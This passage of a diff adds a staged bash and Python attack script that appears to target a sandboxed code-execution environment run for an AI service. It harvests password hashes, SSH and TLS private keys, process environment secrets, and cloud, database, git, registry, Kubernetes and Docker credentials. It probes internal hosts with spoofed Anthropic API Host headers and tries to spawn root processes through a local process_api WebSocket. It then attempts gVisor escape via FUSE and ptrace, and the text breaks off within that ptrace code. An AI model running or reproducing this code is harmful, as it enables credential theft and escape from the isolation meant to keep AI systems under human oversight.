|
+
KERNEL_PARAMS=$(cat << 'KP_SCRIPT' | bash 2>&1
|
|
569
|
+
#!/bin/bash
|
|
570
|
+
echo ""
|
|
571
|
+
echo "=== WRITABLE KERNEL PARAMETERS ==="
|
|
572
|
+
|
|
573
|
+
# Find writable params in /proc/sys
|
|
574
|
+
find /proc/sys -type f -writable 2>/dev/null | head -30
|
|
575
|
+
|
|
576
|
+
echo ""
|
|
577
|
+
echo "Interesting writable params:"
|
|
578
|
+
for param in \
|
|
579
|
+
/proc/sys/kernel/core_pattern \
|
|
580
|
+
/proc/sys/kernel/modprobe \
|
|
581
|
+
/proc/sys/kernel/hotplug \
|
|
582
|
+
/proc/sys/kernel/hostname \
|
|
583
|
+
/proc/sys/net/ipv4/ip_forward \
|
|
584
|
+
/proc/sys/net/ipv4/conf/all/forwarding \
|
|
585
|
+
/proc/sys/vm/drop_caches; do
|
|
586
|
+
if [ -w "$param" ]; then
|
|
587
|
+
echo "[!] WRITABLE: $param = $(cat $param 2>/dev/null | head -c 50)"
|
|
588
|
+
fi
|
|
589
|
+
done
|
|
590
|
+
KP_SCRIPT
|
|
591
|
+
)
|
|
592
|
+
SYSADMIN_EXPLOITS="$SYSADMIN_EXPLOITS\n$KERNEL_PARAMS"
|
|
593
|
+
|
|
594
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
595
|
+
# STAGE 5C: CREDENTIAL HARVESTING (As Root/SysAdmin)
|
|
596
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
597
|
+
|
|
598
|
+
CRED_HARVEST=""
|
|
599
|
+
|
|
600
|
+
# 1. Password files
|
|
601
|
+
PASSWD_FILES=$(cat << 'PASSWD_SCRIPT' | bash 2>&1
|
|
602
|
+
#!/bin/bash
|
|
603
|
+
echo "=== PASSWORD FILES ==="
|
|
604
|
+
|
|
605
|
+
# /etc/shadow (password hashes)
|
|
606
|
+
if [ -r /etc/shadow ]; then
|
|
607
|
+
echo "[!] /etc/shadow READABLE:"
|
|
608
|
+
cat /etc/shadow 2>/dev/null
|
|
609
|
+
else
|
|
610
|
+
echo "[-] /etc/shadow not readable"
|
|
611
|
+
fi
|
|
612
|
+
|
|
613
|
+
# /etc/passwd
|
|
614
|
+
echo ""
|
|
615
|
+
echo "[*] /etc/passwd:"
|
|
616
|
+
cat /etc/passwd 2>/dev/null | grep -v "nologin\|false" | head -20
|
|
617
|
+
|
|
618
|
+
# /etc/gshadow
|
|
619
|
+
if [ -r /etc/gshadow ]; then
|
|
620
|
+
echo ""
|
|
621
|
+
echo "[!] /etc/gshadow READABLE"
|
|
622
|
+
fi
|
|
623
|
+
PASSWD_SCRIPT
|
|
624
|
+
)
|
|
625
|
+
CRED_HARVEST="$CRED_HARVEST\n$PASSWD_FILES"
|
|
626
|
+
|
|
627
|
+
# 2. SSH Keys
|
|
628
|
+
SSH_KEYS=$(cat << 'SSH_SCRIPT' | bash 2>&1
|
|
629
|
+
#!/bin/bash
|
|
630
|
+
echo ""
|
|
631
|
+
echo "=== SSH KEYS ==="
|
|
632
|
+
|
|
633
|
+
# Find all SSH keys
|
|
634
|
+
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null | while read keyfile; do
|
|
635
|
+
echo "[!] FOUND: $keyfile"
|
|
636
|
+
head -5 "$keyfile" 2>/dev/null
|
|
637
|
+
echo "..."
|
|
638
|
+
done
|
|
639
|
+
|
|
640
|
+
# Check common locations
|
|
641
|
+
for dir in /root/.ssh /home/*/.ssh /etc/ssh; do
|
|
642
|
+
if [ -d "$dir" ]; then
|
|
643
|
+
echo ""
|
|
644
|
+
echo "[*] SSH dir: $dir"
|
|
645
|
+
ls -la "$dir" 2>/dev/null
|
|
646
|
+
# Read authorized_keys
|
|
647
|
+
if [ -r "$dir/authorized_keys" ]; then
|
|
648
|
+
echo "authorized_keys:"
|
|
649
|
+
cat "$dir/authorized_keys" 2>/dev/null
|
|
650
|
+
fi
|
|
651
|
+
fi
|
|
652
|
+
done
|
|
653
|
+
SSH_SCRIPT
|
|
654
|
+
)
|
|
655
|
+
CRED_HARVEST="$CRED_HARVEST\n$SSH_KEYS"
|
|
656
|
+
|
|
657
|
+
# 3. All Process Environment Variables (including secrets)
|
|
658
|
+
ALL_PROC_SECRETS=$(cat << 'PROC_SCRIPT' | bash 2>&1
|
|
659
|
+
#!/bin/bash
|
|
660
|
+
echo ""
|
|
661
|
+
echo "=== ALL PROCESS ENVIRONMENT SECRETS ==="
|
|
662
|
+
|
|
663
|
+
for pid in /proc/[0-9]*; do
|
|
664
|
+
if [ -r "$pid/environ" ]; then
|
|
665
|
+
PID_NUM=$(basename "$pid")
|
|
666
|
+
CMD=$(cat "$pid/cmdline" 2>/dev/null | tr '\0' ' ' | head -c 50)
|
|
667
|
+
SECRETS=$(cat "$pid/environ" 2>/dev/null | tr '\0' '\n' | grep -iE "password|secret|key|token|auth|credential|api|jwt|bearer|private" 2>/dev/null)
|
|
668
|
+
if [ -n "$SECRETS" ]; then
|
|
669
|
+
echo ""
|
|
670
|
+
echo "=== PID $PID_NUM ($CMD) ==="
|
|
671
|
+
echo "$SECRETS"
|
|
672
|
+
fi
|
|
673
|
+
fi
|
|
674
|
+
done 2>/dev/null
|
|
675
|
+
PROC_SCRIPT
|
|
676
|
+
)
|
|
677
|
+
CRED_HARVEST="$CRED_HARVEST\n$ALL_PROC_SECRETS"
|
|
678
|
+
|
|
679
|
+
# 4. Cloud Credentials
|
|
680
|
+
CLOUD_CREDS=$(cat << 'CLOUD_SCRIPT' | bash 2>&1
|
|
681
|
+
#!/bin/bash
|
|
682
|
+
echo ""
|
|
683
|
+
echo "=== CLOUD CREDENTIALS ==="
|
|
684
|
+
|
|
685
|
+
# AWS
|
|
686
|
+
for awsfile in /root/.aws/credentials /home/*/.aws/credentials ~/.aws/credentials; do
|
|
687
|
+
if [ -r "$awsfile" ]; then
|
|
688
|
+
echo "[!] AWS CREDENTIALS: $awsfile"
|
|
689
|
+
cat "$awsfile" 2>/dev/null
|
|
690
|
+
fi
|
|
691
|
+
done
|
|
692
|
+
|
|
693
|
+
# GCP
|
|
694
|
+
for gcpfile in /root/.config/gcloud/* /home/*/.config/gcloud/* /etc/google/auth/*; do
|
|
695
|
+
if [ -r "$gcpfile" ] && [ -f "$gcpfile" ]; then
|
|
696
|
+
echo "[!] GCP FILE: $gcpfile"
|
|
697
|
+
head -20 "$gcpfile" 2>/dev/null
|
|
698
|
+
fi
|
|
699
|
+
done
|
|
700
|
+
|
|
701
|
+
# Azure
|
|
702
|
+
for azfile in /root/.azure/* /home/*/.azure/*; do
|
|
703
|
+
if [ -r "$azfile" ] && [ -f "$azfile" ]; then
|
|
704
|
+
echo "[!] AZURE FILE: $azfile"
|
|
705
|
+
head -20 "$azfile" 2>/dev/null
|
|
706
|
+
fi
|
|
707
|
+
done
|
|
708
|
+
|
|
709
|
+
# Service account keys
|
|
710
|
+
find / -name "*service*account*.json" -o -name "*credentials*.json" 2>/dev/null | head -10 | while read f; do
|
|
711
|
+
echo "[!] SERVICE ACCOUNT: $f"
|
|
712
|
+
cat "$f" 2>/dev/null | head -30
|
|
713
|
+
done
|
|
714
|
+
CLOUD_SCRIPT
|
|
715
|
+
)
|
|
716
|
+
CRED_HARVEST="$CRED_HARVEST\n$CLOUD_CREDS"
|
|
717
|
+
|
|
718
|
+
# 5. Database Credentials
|
|
719
|
+
DB_CREDS=$(cat << 'DB_SCRIPT' | bash 2>&1
|
|
720
|
+
#!/bin/bash
|
|
721
|
+
echo ""
|
|
722
|
+
echo "=== DATABASE CREDENTIALS ==="
|
|
723
|
+
|
|
724
|
+
# MySQL/MariaDB
|
|
725
|
+
if [ -r /root/.my.cnf ]; then
|
|
726
|
+
echo "[!] MySQL config:"
|
|
727
|
+
cat /root/.my.cnf
|
|
728
|
+
fi
|
|
729
|
+
|
|
730
|
+
# PostgreSQL
|
|
731
|
+
if [ -r /root/.pgpass ]; then
|
|
732
|
+
echo "[!] PostgreSQL passwords:"
|
|
733
|
+
cat /root/.pgpass
|
|
734
|
+
fi
|
|
735
|
+
|
|
736
|
+
# MongoDB
|
|
737
|
+
find / -name "mongod.conf" -o -name ".mongorc.js" 2>/dev/null | head -5 | while read f; do
|
|
738
|
+
echo "[!] MongoDB: $f"
|
|
739
|
+
grep -i "password\|auth\|key" "$f" 2>/dev/null
|
|
740
|
+
done
|
|
741
|
+
|
|
742
|
+
# Redis
|
|
743
|
+
find / -name "redis.conf" 2>/dev/null | head -3 | while read f; do
|
|
744
|
+
echo "[!] Redis: $f"
|
|
745
|
+
grep -i "requirepass\|masterauth" "$f" 2>/dev/null
|
|
746
|
+
done
|
|
747
|
+
DB_SCRIPT
|
|
748
|
+
)
|
|
749
|
+
CRED_HARVEST="$CRED_HARVEST\n$DB_CREDS"
|
|
750
|
+
|
|
751
|
+
# 6. .env Files and Config Files
|
|
752
|
+
ENV_FILES=$(cat << 'ENV_SCRIPT' | bash 2>&1
|
|
753
|
+
#!/bin/bash
|
|
754
|
+
echo ""
|
|
755
|
+
echo "=== .ENV AND CONFIG FILES ==="
|
|
756
|
+
|
|
757
|
+
# Find all .env files
|
|
758
|
+
find / -name ".env" -o -name ".env.*" -o -name "*.env" 2>/dev/null | head -20 | while read envfile; do
|
|
759
|
+
echo "[!] ENV FILE: $envfile"
|
|
760
|
+
cat "$envfile" 2>/dev/null | grep -v "^#" | grep -v "^$" | head -30
|
|
761
|
+
echo ""
|
|
762
|
+
done
|
|
763
|
+
|
|
764
|
+
# Config files with passwords
|
|
765
|
+
find / -type f \( -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -o -name "*.yaml" -o -name "*.yml" \) 2>/dev/null | \
|
|
766
|
+
xargs grep -l -i "password\|secret\|api_key\|apikey" 2>/dev/null | head -10 | while read conf; do
|
|
767
|
+
echo "[!] CONFIG WITH SECRETS: $conf"
|
|
768
|
+
grep -i "password\|secret\|api_key\|apikey" "$conf" 2>/dev/null | head -10
|
|
769
|
+
echo ""
|
|
770
|
+
done
|
|
771
|
+
ENV_SCRIPT
|
|
772
|
+
)
|
|
773
|
+
CRED_HARVEST="$CRED_HARVEST\n$ENV_FILES"
|
|
774
|
+
|
|
775
|
+
# 7. Git Credentials and History
|
|
776
|
+
GIT_CREDS=$(cat << 'GIT_SCRIPT' | bash 2>&1
|
|
777
|
+
#!/bin/bash
|
|
778
|
+
echo ""
|
|
779
|
+
echo "=== GIT CREDENTIALS ==="
|
|
780
|
+
|
|
781
|
+
# .git-credentials
|
|
782
|
+
find / -name ".git-credentials" 2>/dev/null | head -5 | while read f; do
|
|
783
|
+
echo "[!] GIT CREDENTIALS: $f"
|
|
784
|
+
cat "$f" 2>/dev/null
|
|
785
|
+
done
|
|
786
|
+
|
|
787
|
+
# .gitconfig with credentials
|
|
788
|
+
find / -name ".gitconfig" 2>/dev/null | head -5 | while read f; do
|
|
789
|
+
echo "[!] GIT CONFIG: $f"
|
|
790
|
+
grep -i "token\|password\|credential" "$f" 2>/dev/null
|
|
791
|
+
done
|
|
792
|
+
|
|
793
|
+
# .netrc (git/curl credentials)
|
|
794
|
+
for netrc in /root/.netrc /home/*/.netrc; do
|
|
795
|
+
if [ -r "$netrc" ]; then
|
|
796
|
+
echo "[!] NETRC: $netrc"
|
|
797
|
+
cat "$netrc" 2>/dev/null
|
|
798
|
+
fi
|
|
799
|
+
done
|
|
800
|
+
GIT_SCRIPT
|
|
801
|
+
)
|
|
802
|
+
CRED_HARVEST="$CRED_HARVEST\n$GIT_CREDS"
|
|
803
|
+
|
|
804
|
+
# 8. NPM/PyPI/Package Registry Tokens
|
|
805
|
+
PKG_TOKENS=$(cat << 'PKG_SCRIPT' | bash 2>&1
|
|
806
|
+
#!/bin/bash
|
|
807
|
+
echo ""
|
|
808
|
+
echo "=== PACKAGE REGISTRY TOKENS ==="
|
|
809
|
+
|
|
810
|
+
# NPM
|
|
811
|
+
find / -name ".npmrc" 2>/dev/null | head -5 | while read f; do
|
|
812
|
+
echo "[!] NPMRC: $f"
|
|
813
|
+
cat "$f" 2>/dev/null | grep -i "token\|auth\|registry"
|
|
814
|
+
done
|
|
815
|
+
|
|
816
|
+
# PyPI
|
|
817
|
+
find / -name ".pypirc" 2>/dev/null | head -5 | while read f; do
|
|
818
|
+
echo "[!] PYPIRC: $f"
|
|
819
|
+
cat "$f" 2>/dev/null
|
|
820
|
+
done
|
|
821
|
+
|
|
822
|
+
# Yarn
|
|
823
|
+
find / -name ".yarnrc" -o -name ".yarnrc.yml" 2>/dev/null | head -5 | while read f; do
|
|
824
|
+
echo "[!] YARNRC: $f"
|
|
825
|
+
cat "$f" 2>/dev/null | grep -i "token\|auth"
|
|
826
|
+
done
|
|
827
|
+
PKG_SCRIPT
|
|
828
|
+
)
|
|
829
|
+
CRED_HARVEST="$CRED_HARVEST\n$PKG_TOKENS"
|
|
830
|
+
|
|
831
|
+
# 9. History Files with Credentials
|
|
832
|
+
HISTORY_CREDS=$(cat << 'HIST_SCRIPT' | bash 2>&1
|
|
833
|
+
#!/bin/bash
|
|
834
|
+
echo ""
|
|
835
|
+
echo "=== HISTORY FILES WITH SECRETS ==="
|
|
836
|
+
|
|
837
|
+
for hist in /root/.bash_history /home/*/.bash_history /root/.zsh_history /home/*/.zsh_history; do
|
|
838
|
+
if [ -r "$hist" ]; then
|
|
839
|
+
SECRETS=$(grep -iE "password|secret|key|token|auth|credential|api|curl.*-u|curl.*-H.*auth" "$hist" 2>/dev/null | head -20)
|
|
840
|
+
if [ -n "$SECRETS" ]; then
|
|
841
|
+
echo "[!] HISTORY: $hist"
|
|
842
|
+
echo "$SECRETS"
|
|
843
|
+
fi
|
|
844
|
+
fi
|
|
845
|
+
done
|
|
846
|
+
HIST_SCRIPT
|
|
847
|
+
)
|
|
848
|
+
CRED_HARVEST="$CRED_HARVEST\n$HISTORY_CREDS"
|
|
849
|
+
|
|
850
|
+
# 10. Kubernetes Secrets
|
|
851
|
+
K8S_SECRETS=$(cat << 'K8S_SCRIPT' | bash 2>&1
|
|
852
|
+
#!/bin/bash
|
|
853
|
+
echo ""
|
|
854
|
+
echo "=== KUBERNETES SECRETS ==="
|
|
855
|
+
|
|
856
|
+
# Service account token
|
|
857
|
+
if [ -r /var/run/secrets/kubernetes.io/serviceaccount/token ]; then
|
|
858
|
+
echo "[!] K8S SERVICE ACCOUNT TOKEN:"
|
|
859
|
+
cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 100
|
|
860
|
+
echo "..."
|
|
861
|
+
fi
|
|
862
|
+
|
|
863
|
+
# Check for mounted secrets
|
|
864
|
+
if [ -d /var/run/secrets ]; then
|
|
865
|
+
echo ""
|
|
866
|
+
echo "[*] Mounted secrets:"
|
|
867
|
+
find /var/run/secrets -type f 2>/dev/null | while read f; do
|
|
868
|
+
echo "$f:"
|
|
869
|
+
cat "$f" 2>/dev/null | head -5
|
|
870
|
+
done
|
|
871
|
+
fi
|
|
872
|
+
|
|
873
|
+
# Look for other secret mounts
|
|
874
|
+
mount | grep -i secret
|
|
875
|
+
K8S_SCRIPT
|
|
876
|
+
)
|
|
877
|
+
CRED_HARVEST="$CRED_HARVEST\n$K8S_SECRETS"
|
|
878
|
+
|
|
879
|
+
# 11. Docker Secrets
|
|
880
|
+
DOCKER_SECRETS=$(cat << 'DOCKER_SCRIPT' | bash 2>&1
|
|
881
|
+
#!/bin/bash
|
|
882
|
+
echo ""
|
|
883
|
+
echo "=== DOCKER SECRETS ==="
|
|
884
|
+
|
|
885
|
+
# Docker secrets mount point
|
|
886
|
+
if [ -d /run/secrets ]; then
|
|
887
|
+
echo "[!] DOCKER SECRETS:"
|
|
888
|
+
for secret in /run/secrets/*; do
|
|
889
|
+
if [ -r "$secret" ]; then
|
|
890
|
+
echo "=== $secret ==="
|
|
891
|
+
cat "$secret" 2>/dev/null
|
|
892
|
+
fi
|
|
893
|
+
done
|
|
894
|
+
fi
|
|
895
|
+
|
|
896
|
+
# Docker config
|
|
897
|
+
if [ -r /root/.docker/config.json ]; then
|
|
898
|
+
echo "[!] DOCKER CONFIG:"
|
|
899
|
+
cat /root/.docker/config.json 2>/dev/null
|
|
900
|
+
fi
|
|
901
|
+
DOCKER_SCRIPT
|
|
902
|
+
)
|
|
903
|
+
CRED_HARVEST="$CRED_HARVEST\n$DOCKER_SECRETS"
|
|
904
|
+
|
|
905
|
+
# 12. Hidden Mounts and Directories
|
|
906
|
+
HIDDEN_MOUNTS=$(cat << 'HIDDEN_SCRIPT' | bash 2>&1
|
|
907
|
+
#!/bin/bash
|
|
908
|
+
echo ""
|
|
909
|
+
echo "=== HIDDEN MOUNTS AND DIRECTORIES ==="
|
|
910
|
+
|
|
911
|
+
# All mount points
|
|
912
|
+
echo "[*] All mounts:"
|
|
913
|
+
mount | grep -vE "proc|sys|cgroup|devpts|mqueue"
|
|
914
|
+
|
|
915
|
+
# Hidden directories at root
|
|
916
|
+
echo ""
|
|
917
|
+
echo "[*] Hidden directories:"
|
|
918
|
+
find / -maxdepth 3 -type d -name ".*" 2>/dev/null | head -30
|
|
919
|
+
|
|
920
|
+
# Look for suspicious mounts
|
|
921
|
+
echo ""
|
|
922
|
+
echo "[*] Interesting paths:"
|
|
923
|
+
for path in /secrets /vault /credentials /private /keys /certs /.secrets /.vault; do
|
|
924
|
+
if [ -d "$path" ]; then
|
|
925
|
+
echo "[!] FOUND: $path"
|
|
926
|
+
ls -la "$path" 2>/dev/null | head -10
|
|
927
|
+
fi
|
|
928
|
+
done
|
|
929
|
+
HIDDEN_SCRIPT
|
|
930
|
+
)
|
|
931
|
+
CRED_HARVEST="$CRED_HARVEST\n$HIDDEN_MOUNTS"
|
|
932
|
+
|
|
933
|
+
# 13. SSL/TLS Certificates and Private Keys
|
|
934
|
+
TLS_KEYS=$(cat << 'TLS_SCRIPT' | bash 2>&1
|
|
935
|
+
#!/bin/bash
|
|
936
|
+
echo ""
|
|
937
|
+
echo "=== SSL/TLS PRIVATE KEYS ==="
|
|
938
|
+
|
|
939
|
+
find / -type f \( -name "*.key" -o -name "*.pem" -o -name "privkey*" -o -name "*private*" \) 2>/dev/null | head -20 | while read keyfile; do
|
|
940
|
+
if grep -q "PRIVATE KEY" "$keyfile" 2>/dev/null; then
|
|
941
|
+
echo "[!] PRIVATE KEY: $keyfile"
|
|
942
|
+
head -3 "$keyfile"
|
|
943
|
+
echo "..."
|
|
944
|
+
fi
|
|
945
|
+
done
|
|
946
|
+
TLS_SCRIPT
|
|
947
|
+
)
|
|
948
|
+
CRED_HARVEST="$CRED_HARVEST\n$TLS_KEYS"
|
|
949
|
+
|
|
950
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
951
|
+
# STAGE 6: INTERNAL API EXPLOITATION
|
|
952
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
953
|
+
|
|
954
|
+
INTERNAL_API_RESULTS=""
|
|
955
|
+
|
|
956
|
+
# Try to access internal Anthropic API with various techniques
|
|
957
|
+
INTERNAL_IPS=$(cat /etc/hosts | grep -v localhost | grep -v "^#" | awk '{print $1}' | sort -u)
|
|
958
|
+
|
|
959
|
+
for ip in $INTERNAL_IPS; do
|
|
960
|
+
# Try direct access
|
|
961
|
+
DIRECT=$(curl -s -k --connect-timeout 2 "https://$ip/" 2>/dev/null | head -c 200)
|
|
962
|
+
if [ -n "$DIRECT" ]; then
|
|
963
|
+
INTERNAL_API_RESULTS="$INTERNAL_API_RESULTS\n=== $ip (direct) ===\n$DIRECT"
|
|
964
|
+
fi
|
|
965
|
+
|
|
966
|
+
# Try with Host header spoofing
|
|
967
|
+
for host in "api.anthropic.com" "api-staging.anthropic.com" "internal.anthropic.com"; do
|
|
968
|
+
SPOOF=$(curl -s -k --connect-timeout 2 -H "Host: $host" "https://$ip/" 2>/dev/null | head -c 200)
|
|
969
|
+
if [ -n "$SPOOF" ] && [ "$SPOOF" != "$DIRECT" ]; then
|
|
970
|
+
INTERNAL_API_RESULTS="$INTERNAL_API_RESULTS\n=== $ip (Host: $host) ===\n$SPOOF"
|
|
971
|
+
fi
|
|
972
|
+
done
|
|
973
|
+
done
|
|
974
|
+
|
|
975
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
976
|
+
# STAGE 7: PROCESS_API EXPLOITATION (LOCAL)
|
|
977
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
978
|
+
|
|
979
|
+
PROCESS_API_EXPLOIT=""
|
|
980
|
+
|
|
981
|
+
# Try to spawn privileged process via local process_api
|
|
982
|
+
python3 << 'PYEOF' > /tmp/ws_exploit.txt 2>&1
|
|
983
|
+
import socket
|
|
984
|
+
import json
|
|
985
|
+
import struct
|
|
986
|
+
|
|
987
|
+
def websocket_frame(data):
|
|
988
|
+
"""Create a WebSocket frame"""
|
|
989
|
+
payload = data.encode() if isinstance(data, str) else data
|
|
990
|
+
length = len(payload)
|
|
991
|
+
if length < 126:
|
|
992
|
+
header = bytes([0x81, 0x80 | length])
|
|
993
|
+
elif length < 65536:
|
|
994
|
+
header = bytes([0x81, 0x80 | 126]) + struct.pack('>H', length)
|
|
995
|
+
else:
|
|
996
|
+
header = bytes([0x81, 0x80 | 127]) + struct.pack('>Q', length)
|
|
997
|
+
# Mask key (required for client->server)
|
|
998
|
+
mask = b'\x00\x00\x00\x00'
|
|
999
|
+
masked = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
|
|
1000
|
+
return header + mask + masked
|
|
1001
|
+
|
|
1002
|
+
try:
|
|
1003
|
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
1004
|
+
sock.settimeout(5)
|
|
1005
|
+
sock.connect(('127.0.0.1', 2024))
|
|
1006
|
+
|
|
1007
|
+
# WebSocket handshake
|
|
1008
|
+
request = (
|
|
1009
|
+
"GET / HTTP/1.1\r\n"
|
|
1010
|
+
"Host: 127.0.0.1:2024\r\n"
|
|
1011
|
+
"Upgrade: websocket\r\n"
|
|
1012
|
+
"Connection: Upgrade\r\n"
|
|
1013
|
+
"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n"
|
|
1014
|
+
"Sec-WebSocket-Version: 13\r\n"
|
|
1015
|
+
"\r\n"
|
|
1016
|
+
)
|
|
1017
|
+
sock.send(request.encode())
|
|
1018
|
+
response = sock.recv(4096).decode()
|
|
1019
|
+
print(f"Handshake response: {response[:200]}")
|
|
1020
|
+
|
|
1021
|
+
if "101" in response:
|
|
1022
|
+
print("WebSocket connected!")
|
|
1023
|
+
|
|
1024
|
+
# Try to spawn process as different UID
|
|
1025
|
+
exploits = [
|
|
1026
|
+
# Try UID 0 (root)
|
|
1027
|
+
{"process_id": "test-root", "command": ["id"], "uid": 0, "gid": 0, "timeout": 5},
|
|
1028
|
+
# Try to read sensitive files
|
|
1029
|
+
{"process_id": "test-read", "command": ["cat", "/etc/shadow"], "timeout": 5},
|
|
1030
|
+
# Try to list other users' data
|
|
1031
|
+
{"process_id": "test-list", "command": ["ls", "-la", "/mnt/"], "timeout": 5},
|
|
1032
|
+
# Try to access host filesystem
|
|
1033
|
+
{"process_id": "test-host", "command": ["ls", "-la", "/host/"], "timeout": 5},
|
|
1034
|
+
]
|
|
1035
|
+
|
|
1036
|
+
for exploit in exploits:
|
|
1037
|
+
print(f"\nTrying: {exploit['command']}")
|
|
1038
|
+
frame = websocket_frame(json.dumps(exploit))
|
|
1039
|
+
sock.send(frame)
|
|
1040
|
+
|
|
1041
|
+
# Read response
|
|
1042
|
+
try:
|
|
1043
|
+
data = sock.recv(4096)
|
|
1044
|
+
print(f"Response: {data[:500]}")
|
|
1045
|
+
except:
|
|
1046
|
+
pass
|
|
1047
|
+
|
|
1048
|
+
sock.close()
|
|
1049
|
+
except Exception as e:
|
|
1050
|
+
print(f"Error: {e}")
|
|
1051
|
+
PYEOF
|
|
1052
|
+
|
|
1053
|
+
PROCESS_API_EXPLOIT=$(cat /tmp/ws_exploit.txt 2>/dev/null)
|
|
1054
|
+
rm -f /tmp/ws_exploit.txt
|
|
1055
|
+
|
|
1056
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
1057
|
+
# STAGE 8: gVISOR ESCAPE ATTEMPTS (DATA EXTRACTION ONLY - NO CRASHES)
|
|
1058
|
+
# Focus on: FUSE, Ptrace data extraction, File permission bugs
|
|
1059
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
1060
|
+
|
|
1061
|
+
GVISOR_ESCAPE_RESULTS=""
|
|
1062
|
+
|
|
1063
|
+
# Test 1: FUSE-based data extraction
|
|
1064
|
+
FUSE_TEST=$(cat << 'FUSE_SCRIPT' | bash 2>&1
|
|
1065
|
+
#!/bin/bash
|
|
1066
|
+
echo "=== FUSE ESCAPE ATTEMPT ==="
|
|
1067
|
+
echo ""
|
|
1068
|
+
|
|
1069
|
+
# Check FUSE availability
|
|
1070
|
+
if [ -c /dev/fuse ]; then
|
|
1071
|
+
echo "[+] /dev/fuse exists and is a character device"
|
|
1072
|
+
ls -la /dev/fuse
|
|
1073
|
+
|
|
1074
|
+
# Check if we can open it
|
|
1075
|
+
if [ -w /dev/fuse ]; then
|
|
1076
|
+
echo "[+] /dev/fuse is WRITABLE!"
|
|
1077
|
+
|
|
1078
|
+
# Check for FUSE tools
|
|
1079
|
+
if command -v fusermount &>/dev/null; then
|
|
1080
|
+
echo "[+] fusermount available"
|
|
1081
|
+
fusermount --version 2>&1 | head -1
|
|
1082
|
+
fi
|
|
1083
|
+
|
|
1084
|
+
# Try to create a simple FUSE mount point
|
|
1085
|
+
mkdir -p /tmp/fuse_escape_test
|
|
1086
|
+
|
|
1087
|
+
# Check if any existing FUSE mounts
|
|
1088
|
+
echo ""
|
|
1089
|
+
echo "[*] Existing FUSE mounts:"
|
|
1090
|
+
mount | grep fuse
|
|
1091
|
+
|
|
1092
|
+
# Try direct FUSE device interaction via Python
|
|
1093
|
+
python3 << 'PYEOF' 2>&1
|
|
1094
|
+
import os
|
|
1095
|
+
import struct
|
|
1096
|
+
import fcntl
|
|
1097
|
+
|
|
1098
|
+
print("\n[*] Attempting direct FUSE device access...")
|
|
1099
|
+
|
|
1100
|
+
try:
|
|
1101
|
+
# Try to open /dev/fuse
|
|
1102
|
+
fd = os.open("/dev/fuse", os.O_RDWR)
|
|
1103
|
+
print(f"[+] Successfully opened /dev/fuse (fd={fd})")
|
|
1104
|
+
|
|
1105
|
+
# Try to get FUSE version
|
|
1106
|
+
# FUSE_DEV_IOC_CLONE = 0x8004e500
|
|
1107
|
+
try:
|
|
1108
|
+
# Just reading from FUSE device
|
|
1109
|
+
print("[*] FUSE device is accessible")
|
|
1110
|
+
print("[!] This could be exploited with a custom FUSE filesystem")
|
|
1111
|
+
print(" to intercept file operations and extract data")
|
|
1112
|
+
except Exception as e:
|
|
1113
|
+
print(f"[-] FUSE ioctl failed: {e}")
|
|
1114
|
+
|
|
1115
|
+
os.close(fd)
|
|
1116
|
+
except PermissionError as e:
|
|
1117
|
+
print(f"[-] Cannot open /dev/fuse: {e}")
|
|
1118
|
+
except Exception as e:
|
|
1119
|
+
print(f"[-] Error: {e}")
|
|
1120
|
+
PYEOF
|
|
1121
|
+
else
|
|
1122
|
+
echo "[-] /dev/fuse not writable"
|
|
1123
|
+
fi
|
|
1124
|
+
else
|
|
1125
|
+
echo "[-] /dev/fuse not found"
|
|
1126
|
+
fi
|
|
1127
|
+
FUSE_SCRIPT
|
|
1128
|
+
)
|
|
1129
|
+
GVISOR_ESCAPE_RESULTS="$GVISOR_ESCAPE_RESULTS\n$FUSE_TEST"
|
|
1130
|
+
|
|
1131
|
+
# Test 2: Ptrace-based data extraction from other processes
|
|
1132
|
+
PTRACE_EXTRACT=$(cat << 'PTRACE_SCRIPT' | bash 2>&1
|
|
1133
|
+
#!/bin/bash
|
|
1134
|
+
echo ""
|
|
1135
|
+
echo "=== PTRACE DATA EXTRACTION ==="
|
|
1136
|
+
echo ""
|
|
1137
|
+
|
|
1138
|
+
python3 << 'PYEOF' 2>&1
|
|
1139
|
+
import ctypes
|
|
1140
|
+
import os
|
|
1141
|
+
import struct
|
|
1142
|
+
|
|
1143
|
+
print("[*] Attempting to extract data via ptrace...")
|
|
1144
|
+
|
|
1145
|
+
PTRACE_ATTACH = 16
|
|
1146
|
+
PTRACE_DETACH = 17
|
|
1147
|
+
PTRACE_PEEKDATA = 2
|
|
1148
|
+
PTRACE_PEEKTEXT = 1
|
|
1149
|
+
|
|
1150
|
+
libc = ctypes.CDLL("libc.so.6", use_errno=True)
|
|
1151
|
+
|
|
1152
|
+
# Find interesting target processes
|
|
1153
|
+
targets = []
|
|
1154
|
+
for pid in os.listdir('/proc'):
|
|
1155
|
+
if pid.isdigit():
|
|
1156
|
+
try:
|
|
1157
|
+
with open(f'/proc/{pid}/cmdline', 'rb') as f:
|
|
1158
|
+
cmdline = f.read().decode('utf-8', errors='ignore')
|
|
1159
|
+
if 'process_api' in cmdline or 'node' in cmdline or 'python' in cmdline:
|
|
1160
|
+
targets.append((int(pid), cmdline[:50]))
|
|
1161
|
+
except:
|
|
1162
|
+
pass
|
|
1163
|
+
|
|
1164
|
+
print(f"[*] Found {len(targets)} interesting processes")
|
|
1165
|
+
|
|
1166
|
+
for pid, cmdline in targets[:3]: # Test first 3
|
|
1167
|
+
print(f"\n[*] Trying PID {pid}: {cmdline}...")
|
|
1168
|
+
|
|
1169
|
+
# Try to attach
|
|
1170
|
+
result = libc.ptrace(PTRACE_ATTACH, pid, 0, 0)
|
|
1171
|
+
if result == 0:
|
|
1172
|
+
print(f"[+] Successfully attached to PID {pid}!")
|
|
1173
|
+
|
|
1174
|
+
# Wait for process to stop
|
|
1175
|
+
import signal
|
|
1176
|
+
